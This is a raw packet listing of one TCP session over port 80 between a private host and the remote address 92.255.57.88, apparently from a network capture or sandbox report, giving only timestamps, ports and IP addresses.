Nov 26, 2024 00:07:48.607456923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.608115911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.608185053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.608218908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.608263016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.608884096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.608932972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.781774044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.781904936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.781960964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.782020092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.782115936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.782165051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.782248974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.782295942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.782908916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.782958984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.783396006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.783443928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.783678055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.783725977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.783813000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.783859015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.784512997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.784562111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.784627914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.784674883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.785325050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.785372019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.785403967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.785490036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.786149979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.786196947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.786288977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.786335945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.786947966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.786995888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.787059069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.787105083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.787739038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.787785053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.787852049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.787899017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.788507938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.788554907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.788568020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.788647890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.789376020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.789423943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.789505959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.789551973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.790149927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.790198088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.790323973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.790369987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.790982962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.791029930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.791085005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.791141987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.791810036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.791865110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.791898966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.791944027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.792607069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.792656898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.792757034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.792804956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.793451071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.793498039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.793606043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.793653965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.794204950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.794253111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.794395924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.794442892 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.794991970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.795038939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.795104027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.795146942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.795814037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.795861006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.796014071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.796060085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.796673059 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.796720982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.796838045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.796885014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.797451973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.797501087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.797594070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.797642946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.798554897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.798608065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.798693895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.798739910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.799051046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.799098015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.799190044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.799233913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.799850941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.799899101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.799978018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.800024033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.800668955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.800718069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.800791979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.800837994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.801487923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.801532030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.801615953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.801662922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.802270889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.802337885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.802386045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.802433014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.803085089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.803132057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.803184986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.803237915 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.803890944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.803937912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.803973913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.804029942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.804748058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.804800034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.804960012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.805006027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.805838108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.805892944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.805910110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.805978060 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.806349039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.806399107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.806555986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.806605101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.807166100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.807214975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.807284117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.807336092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.807955980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.808003902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.808141947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.808193922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.808801889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.808850050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.808994055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.809043884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.809568882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.809616089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.809695005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.809741974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.810333014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.810463905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.810509920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.811146021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.811189890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.811290979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.811335087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.811959982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.812005997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.812125921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.812170982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.812779903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.812930107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.812982082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.813549995 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.813620090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.813640118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.813683987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.814398050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.814465046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.814528942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.814574957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.815166950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.815224886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.815361023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.815418959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.815978050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.816036940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.816118002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.816167116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.816828012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.816992998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.817049980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.817617893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.817673922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.817730904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.817799091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.818402052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.818463087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.818494081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.818536997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.819216013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.819272995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.819365978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.819410086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.820058107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.820115089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.820178032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.820221901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.820853949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.820971966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.821024895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.821687937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.821743011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.821810961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.821858883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.822451115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.822506905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.822555065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.822597027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.823301077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.823374033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.823430061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.823493958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.824052095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.824099064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.992331028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.992432117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.992448092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.992486000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.992613077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.992666960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.992711067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.992760897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.993396044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.993446112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.993504047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.993554115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.994214058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.994261026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.994318962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.994366884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.995173931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.995223045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.995285034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.995330095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.995809078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.995858908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.995891094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.995976925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.996603012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.996653080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.996716022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.996764898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.997427940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.997473001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.997613907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.997661114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.998229027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.998361111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.998409033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.999238014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.999288082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.999356031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.999401093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.999844074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.999890089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:48.999948025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:48.999991894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.000680923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.000955105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.001000881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.001478910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.001523018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.001581907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.001626015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.002298117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.002345085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.002392054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.002466917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.003057003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.003113985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.003174067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.003232002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.003915071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.003962040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.004004955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.004050970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.004676104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.004734993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.004791021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.004854918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.005561113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.005609989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.005670071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.005742073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.006352901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.006464005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.006525040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.007375956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.007427931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.007505894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.007550955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.007951975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.007998943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.008268118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.008316040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.008713961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.008796930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.008856058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.009757042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.009799957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.009809971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.009843111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.010368109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.010390043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.010445118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.011157990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.011202097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.011279106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.011327982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.012079000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.012141943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.012159109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.012207031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.012813091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.012963057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.012989044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.013031006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.013560057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.013608932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.013681889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.013722897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.014389038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.014441967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.014441967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.014481068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.015168905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.015214920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.015285969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.015327930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.015969992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.016015053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.016087055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.016133070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.016799927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.016875982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.016916990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.016961098 CET	49753	80	192.168.2.4	92.255.57.88
